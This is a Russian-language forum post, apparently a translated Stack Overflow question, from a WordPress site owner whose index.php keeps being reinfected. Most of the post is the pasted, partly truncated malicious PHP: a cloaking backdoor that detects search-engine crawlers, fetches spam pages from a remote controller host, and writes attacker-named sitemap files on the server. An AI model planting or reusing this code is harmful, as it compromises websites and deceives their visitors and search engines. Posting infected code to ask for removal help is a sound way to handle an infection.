Мой файл index.php на моем веб-сайте WordPress взламывался каждый раз, когда я его удалял, он возвращался обратноPhp

Кемеровские программисты php общаются здесь
Ответить Пред. темаСлед. тема
Anonymous
 Мой файл index.php на моем веб-сайте WordPress взламывался каждый раз, когда я его удалял, он возвращался обратно

Сообщение Anonymous »

У меня есть этот код в моем index.php, помогите мне, как предотвратить возвращение этого кода. Есть ли способ заблокировать мой файл index.php.
=2){
$mapindex_str = '';
$mapindex_str = '
';
foreach($filearray as $value){
if(stristr($value,'.xml')){
$mapindex_str .= '

'."http://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$value.'
';
}
}
$mapindex_str .= '
';
$xmlname = @$_GET['mapindex'].'.xml';
$myfile = fopen($xmlname, "w");
fwrite($myfile, $mapindex_str);
fclose($myfile);
echo "ok
http://".$_SERVER['HTTP_HOST']."/".$xmlname;
//echo "
".$web;
exit;
}else{
echo 'xml file less number mapindex faile!';
exit;
}
}
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http;
if(substr($temp,0,8)=='shellxml'){
$xmlname = substr($temp,8).'.xml';
}
if(substr($temp,0,7)=='hackxml'){
if(substr($temp,7)){
$xmlname = substr($temp,7).'.xml';
}
}
if(@$_GET['mapdir']){
if($filetype==1){
$xmlname = $xmlname.'.gz';
}else if($filetype==2){
if(function_exists('gzopen')) {
$xmlname = $xmlname.'.gz';
if($fp = gzopen($mapdir.'/'.$xmlname, 'w9')){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo 'no creat map!';
exit;
}
$fp = gzopen ($mapdir.'/'.$xmlname, 'w9');
gzwrite ($fp, $xml);
gzclose($fp);
echo "ok
".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "
".$web;
exit();
}else{
gzclose($fp);
echo 'creat sitemap faile No Permissions!
http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "
".$web;
exit();
}
}else{
echo 'gzopen no exists!
'.$http.'://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
$web = $http_web.'://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&http='.$http;
echo "
".$web;
exit();
}
}
if(fopen($mapdir.'/'.$xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo 'no creat map!';
exit;
}
$myfile = fopen($mapdir.'/'.$xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok
".$http."://".$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "
".$web;
exit();
}else{
fclose($myfile);
echo 'creat sitemap faile No Permissions!
http://'.$_SERVER['HTTP_HOST']."/".$mapdir.'/'.$xmlname;
echo "
".$web;
exit();
}
}else{
if(fopen($xmlname, "w")){
$xml = trim(smoutdo($web));
if(stristr($xml,'no creat map')){
echo 'no creat map!';
exit;
}
$myfile = fopen($xmlname, "w");
fwrite($myfile, $xml);
fclose($myfile);
echo "ok
".$http."://".$_SERVER['HTTP_HOST']."/".$xmlname;
echo "
".$web;
exit();
}else{
fclose($myfile);
echo 'creat sitemap faile No Permissions!
'.$http.'://'.$_SERVER['HTTP_HOST']."/".$xmlname;
echo "
".$web;
exit();
}
}
}
if($id){
@header("Content-type: text/html; charset=utf-8");
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
$html_content = trim(smoutdo($web));
if(!strstr($html_content,'nobotuseragent')){
if(strstr($html_content,'okhtmlgetcontent')){
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}
}
}
}else{
$web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&clock='.$clock.'&uri='.$smuri.'&urlshang='.$urlshang.'&http='.$http.'&page='.$page;
$html_content = trim(smoutdo($web));
if($uri_script != ""){
$html_content = str_replace($host."/",$host.$uri_script, $html_content);
}
if(!strstr($html_content,'nobotuseragent')){
@header("Content-type: text/html; charset=utf-8");
if(strstr($html_content,'okhtmlgetcontent')){
$html_content = str_replace("okhtmlgetcontent",'',$html_content);
echo $html_content;
exit();
}else if(strstr($html_content,'getcontent500page')){
@header('HTTP/1.1 500 Internal Server Error');
exit();
}else if(strstr($html_content,'getcontent404page')){
@header('HTTP/1.1 404 Not Found');
exit();
}else if(strstr($html_content,'getcontent301page')){
@header('HTTP/1.1 301 Moved Permanently');
$html_content = str_replace("getcontent301page",'',$html_content);
header('Location: '.$html_content);
exit();
}

}
}

function smisbot() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$googleBot = array("Googlebot","Yahoo! Slurp","Yahoo Slurp","Google AdSense",'google', 'yahoo');
foreach ($googleBot as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
}else{
return false;
}
}
function smotherbot() {
$agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if ($agent != "") {
$spiderSite = array ("TencentTraveler","msnbot","Sosospider+","Sogou web spider","ia_archiver","YoudaoBot","MSNBot","Java (Often spam bot)","BaiDuSpider","Voila","Yandex bot","BSpider","twiceler","Sogou Spider","Speedy Spider","Heritrix","Python-urllib","Alexa (IA Archiver)","Ask","Exabot","Custo","OutfoxBot/YodaoBot","yacy","SurveyBot","legs","lwp-trivial","Nutch","StackRambler","The web archive (IA Archiver)","Perl tool","MJ12bot","Netcraft","MSIECrawler","WGet tools","larbin","Fish search", 'bingbot', 'baidu', 'aol', 'bing', 'YandexBot', 'AhrefsBot');
foreach ($spiderSite as $val) {
$str = strtolower($val);
if (strpos($agent, $str)) {
return true;
}
}
}else{
return false;
}
}
function smoutdo($url){
$file_contents = @file_get_contents($url);
if (!$file_contents) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
$file_contents = curl_exec($ch);
curl_close($ch);
}
return $file_contents;
}
function listDir($dir){
$filearr = array();
if(is_dir($dir)){
if ($dh = opendir($dir)){
while (($file = readdir($dh)) !== false){
if((file_exists($dir."/".$file)) && $file!="." && $file!=".."){
$filearr[] = $file;
}
}
closedir($dh);
}
}
return $filearr;
}
?>


Подробнее здесь: https://stackoverflow.com/questions/690 ... ete-it-its
Реклама
Ответить Пред. темаСлед. тема

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение
  • Как настроить PHP Rector, чтобы он не удалял пробелы из пустых строк
    Anonymous » » в форуме Php
    0 Ответы
    28 Просмотры
    Последнее сообщение Anonymous
  • ValueError: клиент должен быть экземпляром pinecone.index, Got
    Anonymous » » в форуме Python
    0 Ответы
    77 Просмотры
    Последнее сообщение Anonymous
  • Почему ссылки для скачивания на моем сайте загружают только HTML-файл .htm моего index.php вместо PDF-файла, на который
    Anonymous » » в форуме Php
    0 Ответы
    53 Просмотры
    Последнее сообщение Anonymous
  • Как отделить один файл php от index.html и index.php?
    Anonymous » » в форуме Php
    0 Ответы
    58 Просмотры
    Последнее сообщение Anonymous
  • На моем веб-сайте Wordpress вверху отображается PHP-код [закрыто]
    Anonymous » » в форуме Php
    0 Ответы
    29 Просмотры
    Последнее сообщение Anonymous

Вернуться в «Php»